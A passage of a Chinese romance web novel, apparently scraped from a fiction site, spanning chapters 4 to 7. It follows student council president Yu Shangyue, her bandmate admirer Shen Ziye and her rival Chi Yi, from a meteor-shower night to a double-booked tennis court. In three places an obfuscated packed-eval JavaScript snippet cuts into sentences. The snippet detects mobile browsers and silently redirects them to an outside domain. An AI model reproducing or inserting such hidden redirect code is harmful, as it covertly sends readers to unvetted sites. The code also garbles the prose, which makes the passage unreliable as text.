以上头衔是她自封,但余上月在学校人缘确实不错,漂亮姑娘本身讨人喜欢,她又伶俐,个性带着几分与众不同的灵动,大部分时候都是笑盈盈的,让人莫名想和她打交道。 入学这一年,男生追求者无数,女生朋友也不少,在学生会里更不用说,哪个部门她都熟门熟路,办事无比畅通。 然而问题就出在了这个借设备上面。 专业观测流星雨的望远镜学校只有天文系有,管设备的那个学生余上月也不陌生,好巧不巧两人之前因为军训打过交道,对方对她挺有好感,给她送过两次水。 余上月不说是来者不拒的类型,但有资源能用的时候也不会拒绝,因此借设备这件事异常顺利。对方非常殷勤主动,找老师打报告跑上跑下,还格外热情教她们怎么使用专业望远镜,主动参与这次的活动筹备。 余上月呢也看出了对方心思,不过没有明确表示回绝,还因为帮忙的事请他吃过两回饭。 原本事情到这也就结束了。“观星计划”如期进行,活动一经发出大受欢迎,当天晚上,校外小孤山人满为患,这是学校附近唯一一座绝佳观星山头,学生会早就踩好点做好防护,只等着流星雨当天带着大家过来。 余上月作为组织者之一肯定不能缺席,世人皆推崇浪漫,更何况这场流星雨号称十年难遇,不止是新生,学校不少老人都闻风过来,整个小山坡上挤满人,几架天文望远镜根本不够用,天文系来帮忙的男生刘旭和学生会几个小学妹都忙得脱不开身。 她该出力时出力,该躲懒躲懒,这种时候可没心情上去凑热闹,于是趁着被抓壮丁之前,避开人群,沿着山上搭建的木质栈道,溜达到了山坡侧面,漫无目的仰头看着天上星星,往前走。 郊区视野开阔,没有高楼大厦和灯光污染,原始旷野下,黑色天空缀满了星星,一颗一颗无比闪亮。 走出一大截,余上月才发现这是一条上山路,正奇怪山顶为何没人去,按理说地势越高应该视野越好,她心里还没嘀咕几秒,面前的路就被一片杂草垄断,远处阴影密布,在深夜里黑黢黢的晃动,平添几分森冷。 她回想起地势开阔的小山坡,终于明白了学生会踩点工作人员的良苦用心,余上月搓了搓手臂,正准备打道回府,眼中突然有光束晃动。 不远处,似乎有人影站立仰望星空,模糊夜色下身形高瘦,穿着连帽冲锋衣,手持一支手电筒,白亮光束射向天际,也照亮了周遭黑暗。 那确确实实是个人。 余上月分辨清楚后,一瞬间兴奋,宛如遇到组织,朝那边挥手打招呼:“嗨!同学——” 几分钟后,等她克服重重障碍,艰难穿越半人高杂草,走到那人身边时,只看到一张冷脸。 准确来说,是个冷脸帅哥。 即便光线昏暗,依然不影响他那张脸轮廓优越,甚至模糊的光影给他五官更增色几分,面孔宛如电影里导演炫技镜头,即便占满整个屏幕,依旧锋利貌美,氛围感拉满。 余上月先是被这张脸震慑,随后看清他眼里的冷意,逆反心起,掩去面色不满,展颜一笑。 “你在这里看流星吗?” 话语间,余上月已经余光打量周围,脚下也是个平坦山坡,只是相比半山腰那个小了很多,大概只余半个篮球场大。脚下草地正前方,立着一架专业的天文望远镜,经过天文系刘旭这段时间科普,余上月至少知道这台设备价值不菲,很是珍贵。 在望远镜不远处,还扎着一顶小帐篷,地上散落着工具,看着像是刚搭好。 ——很明显,男生也是来观测流星雨的,甚至像专业人士,余上月结合他的年龄和情况分析,心里隐约有了个猜测。 “嗯。”她问完,面前的人冷淡应声,垂着眼继续用手电筒查看周围,明显不怎么想搭理她这个莫名闯入的人。 好像这块地是他家的一样。 余上月心里骂骂咧咧,面上丝毫不显,依然笑眯眯。 “你好专业哦,是天文系的学生吗?” 此话一落地,男生终于有了点反应,停下手中动作,微侧过脸视线瞥来,撂下一句反问:“怎么了?” “噢,我是南大的学生,今晚我们学校组织了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417859|184713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观测流星雨活动,前面都是人,好热闹,你怎么一个人在这儿呢?” “不害怕吗?”她状似打量周围,顺口闲扯。 “我更怕吵。” “……”好像有种指桑骂槐的感觉,余上月微微无语,既然气场不和,人家明显没有和她交谈的打算,她也并不热衷热脸贴冷屁股,正打算出声告别之际,天空突然闪过一道白光,映亮周遭,白亮的光芒拖着长长尾巴如同一道利剑飞速划过天空,转瞬即逝。 “流星!” 余上月控制不住叫出声,随着她话音响起,漫天流星雨洒落,光点如瀑布,毫无征兆爆发,明亮光芒中夹杂着火焰穿梭,难得一见的火流星! 她本能立马合眼,双手交叉握在胸前,开始对着流星许愿。 老天爷,保佑她这辈子顺风顺水顺财神吧! 短短几秒钟埋下了关于自己一生的美好期许,余上月迫不及待睁开眼,仰头一眨不眨望着天空。 流星还在爆发。 方才身旁的人已经站到了望远镜前,埋头认真观测,手上同时拿着纸笔在飞快写动,好像是在记录数据。 看来真是个天文系的。 这场流星雨整整持续了半个多小时。 其中有爆发期也有平稳期,中途停歇时分,偶尔一两颗流星从漆黑夜幕中划过,余上月终于从最初的激动兴奋中抽出精力,分心打量起前方的人,目光重点落在那台昂贵专业的天文设备上。 想了想,她不做纠结,干脆上前,语气很好的同对方打商量:“同学……你这个望远镜,可不可以借我看一下呀?” “我就看一下,几秒钟都行。”她伸出一根手指坚定保证,“绝对不耽误你记录。” 她也很想近距离看一眼流星啊! 余上月本以为正常人都会在她诚恳祈求下动摇,哪怕他犹豫几秒再拒绝都不足以激起她愤怒,偏偏她刚说完,耳边就响起不假思索的一声。 “不要。”他甚至头也不抬,语气冷漠,似乎连搭理她都是一种麻烦。 余上月手背在身后,紧握拳头,咬紧了牙。 “好的。”她依然面容得体,嘴角上扬,只是弧度有几丝僵硬。 “那我不打扰你了,祝你观星顺利。” “嗯。”对方依旧是回复吝啬,简短的一个音节,无形地承认了她的打扰。 余上月脸上假笑快要维持不住,在即将走出这片小山坡时终于忍耐告罄,冷笑回头。 “对了同学,如果真想一个人观星不被打扰的话,我建议你,不如把这座山直接买下来。” “这样,就不会有人打扰你啦。” 她说完,也不管对方反应,直接抬腿离开。 一口恶气出出来,胸口畅快不已,余上月甚至是哼着小调回去的。 然后没几天,上课途中,她就听说了一则在学校里流传的惊人八卦。 ——【听说天文系那个迟意,他家里给他买下了一座山头,专门用来给他看星星。】 ——【好像就是我们上次去过的那个小孤山。】 爆料者有图有真相。 余上月点开下面的那张图片。 她熟悉的上山道,那天晚上的小山坡前,木栈道尽头处,被一条铁丝网拦断,上面挂着个小牌子——“私人领域,请勿进入。” 她当即握紧手机,深吸一口气。 气笑了。 5. 第五个月亮 第五章 大三开学不足两个月,学生会已经策划了好几场活动,校园歌手、体育赛事、名师讲座等,内容丰富,力图让南大学生校园生活多姿多彩。 形式和去年差不多,只不过那会她是负责执行,而今年初升任学生会主席之后,工作变得繁杂很多,从具体事件变成了大方向把控审批。 原则上来说主席团总共有三名成员,除她之外还有位副主席和办公室主任,只是那两位非必要不会来学生会,纯粹挂个头衔摸鱼,还恬不知耻号称她能者多劳。 余上月确实是高精力人群,除了本专业计算机系繁重的课业,还要处理学生会大大小小事项,除此之外,她还得应付两个男人。 宗俞自从上次见过面之后,当天夜里他就飞回国外,将近半个月的时间都在那边,两人异国时差,连消息都少得可怜。 余上月想,这也是她忍不住收藏另一颗玻璃珠子的原因吧。盒子闲置,看到新的漂亮珠子时,总是很难抵挡住诱惑。 周一到周五在学校的时间基本排得满满当当,大部分时候,余上月只有周六日才会同沈子野出去约会。 酒吧周六日是生意最好的时候,他们乐队也会比平时演出得更晚,余上月白天看他们排练,中场休息阿威闲暇时,会来教她架子鼓。 余上月练了两个月,堪堪入门,摸到几分鼓手的音律感,兴趣不减反增。她托阿威从别处给她淘来一架二手架子鼓,虽然金属鼓身有不少划痕磨损,但在她看来,更添岁月厚重感,她很喜欢。 每次阿威在一旁认真教她时,沈子野总忍不住过来凑近,不外乎其他,两人一个人低头认真教,一个仰头认真学的模样,让他眼红。 “月月,你想不想学词曲?”沈子野仿佛自我推销般提议,“唱歌也行,你想学音乐吗?” “不想。”她专心研究着鼓谱,不假思索拒绝。 “…………”沈子野面露受伤,神色不由挫败,阿威见状在旁边哈哈大笑,拍了拍他肩膀。 “让让兄弟,该我阿威老师上场了。” 余上月上次听了他们的新歌很喜欢,阿威说找个时间教她,没有做伪,今天练的就是这首新歌的谱子。 她现在已经能够看懂鼓谱自己对着节奏练了,阿威在旁边提点了她一些不足之处,教她怎么更好发力找拍子。 余上月顺了几遍,竟然能完整的把这首歌敲下来,原本在沙发那躺着休息刷手机的乐队几人都不由挑眉,身体坐起朝她这边望来。 “我们月这么牛的,已经能自己敲了??” “哇塞,可以和我们一起上台演出了。”阿新开玩笑。 “啊?”余上月停下拿鼓槌的手,还没从鼓点中完全抽离出来,反应慢半拍。 她难得有点呆。 沈子野忍不住扬唇,掌心揉向她阳光下泛着金色的发顶。 “要不要和我们一起排练试试?” 余上月心知肚明自己距离上台的水平差远了,但和乐队一起练习的机会难得,她当然不会拒绝。 只有在多人合作中,她才能更加找出自身的不足。 比起一个人在这里敲鼓效率高多了。 这间排练室是一个旧舞蹈教室改的,如今算郊区,当初是个舞蹈机构,后来新区那边发展之后,周围的人陆陆续续搬走了,日渐偏僻,房子荒废许多,租金便宜得吓人。 沈子野他们当时租下这里的时候,手上也没多少钱,没有做什么改造装修,只是在中间搭了个简易舞台,上面摆满了他们的乐器设备。 几人一起把余上月的旧架子鼓搬了上去,贝索斯阿新在她身侧,主唱沈子野站在舞台正前方,吉他手键盘也就位,大家就按照平时演出的站位,只是阿威换成了她。 舞台前面,阿威拿着手机,在给他们录像摄影。 余上月坐在架子鼓后头,双手握着鼓槌深吸一口气,原本游刃有余的心态在正式摆好演出架势时,还是不免紧张。 “别紧张,大家都是朋友,没人去和妈妈告状的。”阿威调侃。这个告状梗来源于团里贝斯手小舟,他说自己当初刚练习贝斯时,是在那种老旧的居民筒子楼里,隔音效果很差,他初学肯定弹得有些不堪入耳,在埋头苦练了一周之后,隔壁家小孩终于不堪忍受,找家长告状了。 当天小舟就被人家妈妈找上门,告诉他影响家里小孩写作业了,委婉劝诫他好好工作赚钱才是王道,不要天天没事干在家弹棉花。 余上月一听阿威提起这个事就笑了,乐队成员也都在笑,她看到沈子野站在立式麦克风前扭头看她,眼神关怀,笑着张唇。 “别怕,我在。” 无声口型像是两人的默契暗号。 余上月定下心,屏息凝神,抬手扬起鼓槌,重重敲下开场。 清脆激越的鼓声拉开演出序幕,仿佛一道号角,吉他键盘贝斯随之响起,跟随鼓点混成独有的旋律。 清亮悦耳的男声轻声吟唱,极具穿透力的嗓音,声音出现的一瞬间,宛如清爽溪流汇入彩色斑斓的海,演出至此正式开始。 酣畅淋漓的一次乐队体验,时间流动变得难以察觉,她沉浸在音乐的世界里,包围她的只有架子鼓。 余上月确定,她喜欢这些美妙独特的瞬间。 晚上酒吧正式演出,乐队提前过去做准备,还没到真正入场时间,酒吧卡座几乎坐满,来这儿的人大多数都是冲着边野乐队来的。 余上月甚至能在舞台底下前排看到有人拉应援横幅,小长条上印着八个大字,【星野闪耀,因你而来!】 一群女生宛如忠实粉丝,为沈子野摇旗呐喊。 她今晚本来打算过来坐坐就走的,练了一天架子鼓,耳膜冲击强烈,相比起酒吧的热闹嘈杂,她更想回宿舍安静看一会学习视频。 但沈子野不让,他只是露出一种失落的神情,安静祈求看着她,余上月就心软了。 算了,也不是什么大事,不如让他开心一点。 她是这样想的。 今晚的演出如她所料,一直持续到晚上零点。酒吧的气氛在乐队一首首歌曲中被拉到顶点,中途休息间隙,沈子野他们也一直在被粉丝上台要合影签名。 沈子野身边包围的人最为多,似乎是怕她生气,期间目光不停朝她这边望来,像是要确认她是否还在。 余上月抿唇一笑,低头打字。 【没事,我等你演出结束】 发完消息,她翻转手机放到面前小圆桌上,没有等他回复。 褐色桌板上放着一个高脚玻璃杯,上面盛着淡橘色液体。 这是孤岛酒吧的一款调味鸡尾酒,名为落日橘光,表面看着美丽无害,其实度数并不低,后劲很足。 台上乐队已经开始准备下一首演出,沈子野看到她消息,没有再像先前那样心神不宁,闭眼立在麦克风前,倾听前奏,灯光打在他沉浸的眉眼间,如同天生的大明星。 “阿野很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417860|184713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帅吧?”余上月身旁落坐一个人,她收回目光,看向面前这个的男人,他是这家酒吧老板,同时也是沈子野的伯乐。 当初他看上了沈子野的唱作能力,才把他挖过来,连同他整个乐队都接纳,一周给他们排了五天演出。 可以说,边野乐队能有今天的人气,都是他一手促成的。 “当然,宇宙无敌第一大帅哥。”余上月开玩笑,晃了晃手中酒杯。宋明韬视线顺着她动作往下,笑了笑,“阿野不知道你酒量这么好吧。” “我没和他说过,他也没问。”余上月耸肩,明灭光影里,亮晶晶的眸子得意狡黠。 “真有你的。”宋明韬手指敲击桌面,示意调酒师给他也上一杯同款。 两人一边看着台上乐队演出,一边闲闲聊天。 余上月跟着乐队来过酒吧很多次了,他们在台上忙时,她就自己坐在角落喝酒,宋明韬闲暇会过来陪她一起坐坐,两人讨论的话题大多是围绕着边野乐队的,偶尔聊些个人近况。 宋明韬是酒吧唯一一个知道她能喝的,两人最高记录,是喝空几个酒瓶,然后趁着沈子野他们表演结束下来前,让酒保小哥赶紧收走,掩盖罪证。 那晚余上月罕见醉了,过了门禁时间也回不去宿舍,沈子野只好把她带到自己家里,临走前,还狠狠骂了宋明韬一顿,怪他灌她酒。 宋老板有苦难言,在某人半醉装模作样趴在沈子野肩头,还对他笑着挥手拜拜时,终于没忍住,狠狠对她比了个中指。 那晚,两人在沈子野租的小房子里,一个睡床上,一个睡沙发。 沈子野趁着她熟睡时,偷偷亲吻她的嘴唇,动作轻浅,像是一片羽毛拂过。 余上月从睡梦中醒来,没有睁开眼,假装不知道。 那是两人第一次亲吻。 今夜结束离开酒吧,也已经深夜,马路上空无一人。 一群人没有再续摊,演出一晚上,乐队几人都有些疲惫,互相打过招呼,最后剩下的只有余上月和沈子野。 她过了门禁时间,没办法再回去宿舍。 沈子野的房子就租在酒吧附近,一栋筒子楼的顶楼,从旁边楼梯上去是个天台,平时无人时他可以在上面练习。 房间虽然不大但布置得很有个人风格,进门是一张沙发,对面墙上挂满吉他,是他学吉他以来用过的所有,都保存的很完好。 墙上还贴满他喜欢的乐队歌手海报。 整个空间杂乱但很干净,床旁边是扇旧窗户,透过清澈的玻璃望出去,可以看见屋顶和天空。 偶尔天气好时,还能看见星星。 余上月很喜欢这里。 午后阳光透过玻璃打下来,沈子野穿着白色背心坐在窗边弹吉他,银色头发醒目,偶尔窗外有鸽子飞过,整个画面很有旧电影里的感觉。 房间漆黑寂静,轻薄月光洒入,映出周遭模糊影子。 两人坐在窗台上亲吻,许久才分开。 沈子野抬起脸,唇间闻到淡淡酒味。 他指腹从她嘴角抚过,低声微哑:“晚上喝酒了?” 余上月没说是与不是,只是弯唇一笑,狡黠眨眼:“你猜。” 她总是这样,像是一团云雾,让人捉摸不透,也抓不住。 沈子野没有再追问,只是再度俯身,眷恋她唇齿间柔软味道。 两人亲密无间得宛如一对恋人。 只有沈子野知道,她从未说过要和他在一起。 6. 第六个月亮 第六章 早上醒来,已经是十点。 半拉的窗帘透出炽亮日光,外面传来鸽子扑棱翅膀的声音。 余上月揉着眼睛睁开,旁边沙发上已经空无一人,她坐起身,环顾四周,听到了洗手间里传来的水声。 没几分钟,沈子野低头擦着脸从浴室出来,发尖湿漉漉地往下滴着水,脸颊肌肤白净。 “醒啦?”他望见余上月坐在床上,走近,在她额头轻轻一亲。 “走,去吃饭。” 沈子野沉迷音乐,最擅长的是排列音符,生活里除了工作演出就是词曲创作,平时吃饭大多在外面解决。 他家楼下有家开了十多年的面馆,老板是个四五十岁的大叔,脖子上总挂一根白毛巾,用来擦揉面时候流出来的汗。 他们家面条都是纯手工制作,汤底也是正宗骨头熬一晚上,浇头现炒,沈子野带她吃过一回她就爱上了,每次过来,必去他家吃面。 不大的店面,摆着四五张桌椅,干净整洁。 熟稔和老板报完单,两人找地方坐下,沈子野惯常吃的是青笋牛肉,余上月则喜欢红烧鳝片,他们在这里早已是熟客,老板端上面时还在上头卧了两个煎鸡蛋。 面条劲道,酱料浓厚。 空腹第一口,她就忍不住发出满足喟叹:“真好吃。” 余上月开心地笑眯起了眼睛。 这种时刻,她又像个单纯不谙世事的小女孩,沈子野对她总有种反差感,就像天上月亮,明暗两面。 吃过饭,余上月准备回学校。 沈子野送她回去。 酒吧距离学校不远,路程就十几分钟,两人慢悠悠走过去,天气很好,春夏交接的阳光,明媚喜人。 沈子野送她到校门口,余上月让他在这止步。 “我待会要去学生会,你到这就好了。”她看到沈子野一瞬露出的失落神情,极其自然踮脚摸了摸他脑袋,对他笑眯眯叮嘱:“回去好好练习。” 沈子野脸色稍缓,俯身抱住她,头埋在她肩颈间眷恋蹭了蹭。 “嗯。”他依依不舍,抱着她许久没松开。 “下次什么时候能见面?”他低声自语。 “一周太长了,我想每天都见到你。” “我如果有空了就给你发消息好吗?”余上月温柔耐心哄他。 沈子野勉强被安抚好,又亲了亲她额角才勉强放开手,人站在原地没动,想要目送她进去。 余上月朝他挥了挥手,转身往学校里走去。 南大校门一进去就是条林荫大道,此时树底下,正站着两个男生像在等人,一个眼睛往这边瞄着,一个在专心垂眸看手机,好似压根没往这瞥一眼。 余上月看清这两个人,差点又要骂晦气。 说句实话,南大占地面积不小,但这个月遇到迟意的频率有点高了,像是阴魂不散缠上来了一样,余上月想,她有时间这周末一定要去庙里拜拜。 本想假装没看见,但无奈迟意旁边那个男生主动朝她打招呼,叫她名字:“余上月,好巧啊。” 他视线往外面一瞥,望向校外沈子野已经离开的背影笑道:“你男朋友啊?” 他问得很自然,好像两个人关系很熟一样,一旁迟意忍不住收起手机,抬头看了他一眼。 余上月并不是很想搭理他,但是她的处事原则一般是能不恶化关系就不恶化,所以笑笑糊弄,“一个朋友。” 朋友还又抱又亲。 刘旭本能要冷笑,顾忌着面前两个人,忍下了。 “那你和朋友之间还挺亲密的。”他还是没忍住刺了一句。 非常冒犯。 余上月不想再顾忌他的颜面,直接微笑:“和你有关系吗?” “刘旭同学,我想我之前和你说得很清楚了,我不喜欢你,关于我的私生活,也希望你保持普通同学距离,不要指手画脚。” 她说完,不再去看他那张变得尴尬铁青的脸,直接转头离开。 当然,他身旁的那个人余上月更加无视,就像是路边的一块石头和一只苍蝇。 走出好长一截,哪怕眼前梧桐茂盛,绿意怡人,也无法消散余上月心头怒火。 如果学校可以推出一个黑名单功能,她将永久拉黑那两个人,让他们永远不再出现在她的视线。 迟意同她的恩怨,基本上三天三夜都说不尽。 而刚才的另一个男生叫刘旭,就是当年那次流星雨活动中,负责给他们借设备的学生。 活动结束后,他向她表了白。 余上月当然是拒绝了,措辞温和,理由得体,充分顾及到了他的自尊和情感,同时也对他这段时间的帮助给予了感谢。 谁料到,好巧不巧的,他竟然是迟意的舍友。 余上月和迟意的交集,原本应该终结在那个晚上。 尤其是之后看到流传出来的消息,更是槽多无口,余上月压根不想和他再有一丝另外的交集。 只是事与愿违,没过半个月,因为上次的流星雨活动大获成功,在学校很受欢迎,于是学生会那边趁热打铁,准备推出一个天文知识分享活动。 拟定邀请人时,第一位就是迟意,他除了是天文系专业第一,在学校人气也高居不下,反正一传出他可能参加主讲的消息后,报名的人踊跃热情,一时间活动邀请函一票难求。 学生会平时办得那些名师讲座知识展览哪里有过这种热闹,基本上都门可罗雀,需要他们在日常生活中大力宣传才能勉强拉到一些人气。 于是这个天文分享的活动立刻被重视起来,在会上主席特意询问进度,收到小学妹反馈邀请不上迟意之后,当下点名让余上月去试试。 谁不知道,她是外联部交际花,上至老师下至身边同学,到目前还没有她搞不定的人。 余上月临危受命,难以推却,于是只能硬着头皮应下,说尽力试试,不保证成功。 毕竟迟意那个人……非比寻常。 动不动就买下一座山的能是什么正常人。 两人上次也算结下了一个小梁子,直接行动明显成功概率不高,于是余上月打算采取迂回战术。 首先第一步,制造偶遇。 倒也没有太刻意制造,只是听说迟意中午经常会去南门口便利店,所以余上月吃完饭会特意从那边绕一圈,去买瓶喝的。 谁知道真让她给碰上了,恰好两人还伸手拿向了同一瓶饮料,余上月先他一步拿到了架子上的玻璃瓶身,好巧不好的是,这瓶巧克力奶是架子上的最后一瓶。 余上月借此机会,立即展示自己的友好,收回手,冲他笑笑:“给你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417861|184713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不喝也没事。”她双手乖巧背到身后,展现出谦让的同时不忘流露出那一丝没喝到心仪饮料的委屈,让他更加清楚看到自己的付出和牺牲。 小动作虽然有点多但余上月这一招很少失败过。 大多数情况对方都会更加谦让然后把东西让给她。 她已经做好了同他推搡一番的准备。 谁料。 “谢谢。”迟意表情无动于衷,拿着她让出来的饮料,直接转身去收银台结账了。 在身后默默看着他背影的余上月:“…………” 这次示好并没有出现任何成效。 余上月从来不做无用功,况且,迟意也不值得她花这么多心思。 所以,在这周的某一天得知他下午没课后,余上月直接到他系教学楼门口堵他。 恰好林荫道行人稀少,迟意臂弯间夹着书独自行走,余上月在后头叫住他,“迟意同学。” 她注视着对方转过来的脸,迟意的神情似乎都没有太大波动,就这样安静看着她,等候着下文。 余上月这几天准备了充分的资料,关于他们这场活动的内容,预备分享的方向,以及她在网上搜集打印的星图照片。 一整叠的纸张用文件夹仔细装订好,递到迟意面前。 “是这样的,我们学生会近期准备做一个天文知识的分享活动,想要邀请你来参加,毕竟你在你们专业排名第一,而且也非常受欢迎,很多人都在期待你能够出席。这是我准备的一些活动内容,你可以看一下,感兴趣的话……” 她话还没说完,迟意已经不假思索拒绝。 “不感兴趣。”他没等她开口挽留,径直打断。 “这种活动太无聊了,请你们不要再来打扰我。”他毫不留恋转身离开。 “…………” 这次的天文分享当然还是成功开展了,只是主讲人由迟意换成了他们系专业第二,好巧不巧,那个专业第二正是上次流星雨观测合作过的刘旭。 只是因为先前的事情,余上月从头到尾都没再参加这次的活动策划。 一是避嫌。 二是听说,他和迟意是舍友。 余上月拒绝他表白那天,闹得很不愉快,对方伤心愤怒指责她,对他没意思为什么这段时间同他走得这么近,还单独请他去吃饭。 余上月头顶冒出大大问号,她承认自己是有没有主动拒绝的嫌疑,但分寸感还是保持得明明白白,两人没有任何亲密接触、暧昧话语,就连大部分时候都是和第三人待在同一空间,除了为感激他请的那顿饭。 还是因为当天小学妹有事没空来。 余上月同他据理力争,情绪稳定地解释缘由,可对方似乎沉浸在自己世界里无可自拔,一顿疯狂输出后狠狠推开她跑了,临走前含恨带怨地瞪了她一眼,眼睛似乎都是红的。 听说那晚回去,他在宿舍里骂了她半宿。 余上月经过这两次,已经打定主意和这两个人保持距离,井水不犯河水,互相安好。 但生活就是这么的戏剧性,谁也没料到下一刻会发生什么。 现在回想起来,上天似乎就想让她和迟意成为死对头。 没有平静太久,他们在学校再次狭路相逢,对上了。 而这一次,真正的惹怒了余上月。 7. 第七个月亮 第七章 学生会会议时间定在下午一点。 之所以安排在周末,是因为即将举办的这次网球比赛,每年体育部大型赛事之一,整个学校师生都很关注。 余上月到的时候,大会议室已经坐满不少人,她看向属于学习部部长的那个空位,抬手看表,还差最后几分钟时,迟意才推门姗姗来迟。 余上月拿出遥控器打开正对面墙壁上的投影,神色如常,就像两人先前校门口那番偶遇不存在。 “人来齐了那我们就开始吧。” 体育部部长先汇报了一遍工作,关于这次赛事的规则奖品还有赛程设置,今年的冠军奖品是一把高档网球拍,其余小奖项则是一些网球周边,包括球衣、球鞋、网球包……以及一些较为实用的运动装备,除此之外还有现金购物卡。 整体确定下来都没太大问题,只不过关于奖品这里有人提了个小建议,“今年的奖品也很不错但好像整体没太大新意……去年比赛我们好像和西卡公司联名,定制了一批周边玩偶,那个就很特别,每个奖项都是单独设计的卡通人物,混双还专门定制了双人钥匙扣,很有纪念意义。” 今年混双奖品是一套运动水杯和购物卡,相比之下,去年的整个奖品设计呈现似乎都更加特别和用心。提出意见的是体育部刚来没多久的小学妹,她这番话一说完,整个会议室都没人敢说话,眼观鼻鼻观心,纷纷低头下来专心望着桌面。 有大胆的倒是偷偷抬起脑袋,眼睛在迟意和余上月身上打转。 两人此刻相安无事的坐在桌子两端,瞧着脸色没什么端倪,但经历过去年巅峰对决的老人们都不怎么相信这番表象,一时间,谁也没敢先开口,就怕突然点燃炮仗。 还是余上月面色平静深思几秒后,一锤定音拍板。 “那就按照去年的来,外联部再去联系一下西卡公司,我们在原先的奖品中增加联名玩偶,整体成本预算控制在合理范围,争取让我们比赛奖项更加有新意和吸引力。” 她话音落,不少人松了口气,整个会议到结束,迟意没有发表过任何意见,完完全全只是因为部长这个身份礼貌出席。 两人最近这一年倒是难得和平共处,非必要时刻,都是互相谁都不搭理谁。 这也好,免得城门失火殃及池鱼。 提起去年的网球比赛,众人都不由的想起了当年那场混双比拼。 观众席堪称座无虚席,场上赛况也热火朝天,四个人拍子都快抡冒烟了,最后余上月还是因一分之差沦落败迟意之手,沦为亚军。 虽然最后女单对决中,她打败了对方的女搭档,捧回来一座冠军奖杯,但这件事依然还是激起了余上月怒火,最后引发一场长达半年的针锋对决。 迟意还因此加入了学生会,两人每天在会里斗得如火如荼,学生会其他成员每天生活水深火热,直到突然某个契机,双方好像都一瞬莫名其妙鸣金收兵,偃旗息鼓,就这样维持着表面平和到了现在。 会议结束,一群人散场,抱着笔记本陆续往外走去。 方才会上发言的小学妹也明显感觉到了先前氛围不对,于是一出来,立马询问自己部门部长。 “学长……刚才发生什么事了?我是不是说错话了……?”她小心翼翼询问,对方见状给她科普起来,那说起来,得是一段很长的故事了。 天文知识分享活动结束,余上月确实很长一段时间没见过迟意,两人恩怨似乎暂时划上了终止符号。 本来也不是什么大事,谁在生活中没有遇到过一两个讨厌的人呢,远离让自己不舒服的人和事就好了。 余上月那时压根没把这个人放在心上,直到某天她和荔枝一起去打球。 南大网球场地是提前预约制,因为很紧俏抢手,每次都要提前掐着点去预约,那天荔枝还很高兴,她抢到了最后一个三号场地,下午七点钟。 两人早早去食堂吃完饭,回宿舍换好装备,往网球场走去。 南大总共有五片网球场,三号在最角落,一路走过去,其他几个场地都已经被占满,整个空间围绕着拍子击球声还有人声。 “今天大家来得都还挺早的。”荔枝视线观察周围,不禁发表感想。 “是啊。”余上月点头附和,话语间,两人已经来到了三号场地外围,奇怪的是,里面竟然已经有人。 是两个男的,一个坐在椅子上拉开球包,另一个握着拍子在场地中间热身,看情况也就比她们刚到了几分钟。 余上月正皱眉狐疑,看清那两个人的脸之后,困惑无缘由地变成了愤怒。 那两个人不正是迟意和他的那个舍友刘旭。 “什么情况啊?怎么里面有人?”荔枝也在嘀咕,立即拿着手机出来确认预约信息,还没等她看清,余上月已经背着球包走了进去。 刘旭和迟意纷纷抬头看来,见到她有一丝诧异,余上月开口语气很好。 “你好,这个场地好像是我们预约的。” 迟意坐在椅子上,闻言停下拿拍子的手,望向场地中的刘旭。 刘旭很快走过来,也一头雾水,去球包里找手机。 “不可能啊,我约的就是今天晚上七点。”他一边翻记录一边嘀咕,“难道是看错场地了……不能啊。” 自言自语间,他翻到了预约记录,“啊”了一声后底气十足,把手机递过来。 “没错啊,你看,三号场地七点钟。” 与此同时,荔枝也找到了自己的预约记录,狐疑探头看他屏幕。 “可是我也是这个啊!”待看清他手机页面,荔枝不可置信,拿着手机同样递来。 此刻,四人视线汇集在中间并排的两个手机上,屏幕内容显示着一模一样的时间和场地。 余上月立即给预约页面的管理号码打电话,一阵兵荒马乱的交涉和证明之后,对方给出的答复是后台系统出了bug,好巧不巧,这种事情落在了她和迟意头上。 准确来说,是落在了荔枝和刘旭身上,但谁让她和迟意冤家易结不易解呢。 收拾调整好心情,余上月抬头,试图正常同两人打商量:“你们也看到了,是系统出了问题,预约重复了。” “但我们双方既然都已经过来了,让谁退出都不太合理,这样吧,你们打上半场,我们打下半场没问题吧?” 余上月觉得这个解决方案很合理,荔枝也能接受,只有陈旭面露迟疑,把目光转向了身旁迟意,似乎要以他意见为准,来做这个决策。 空气静止了几秒,一时无人说话,陈旭先开口叫他:“迟意……你觉得呢?” 迟意看了他一眼,划过他脸上略带为难的神情,又扫了眼面前余上月,话语轻飘飘而出。 “先到先得,我们先来的。” “你们回去吧。”他说完,随即握着球拍转身,似乎已经单方面做下决定直接结束交谈。 荔枝被他这幅态度和荒谬的言论气得火冒三丈,立即撸起袖子要上前同他理论。 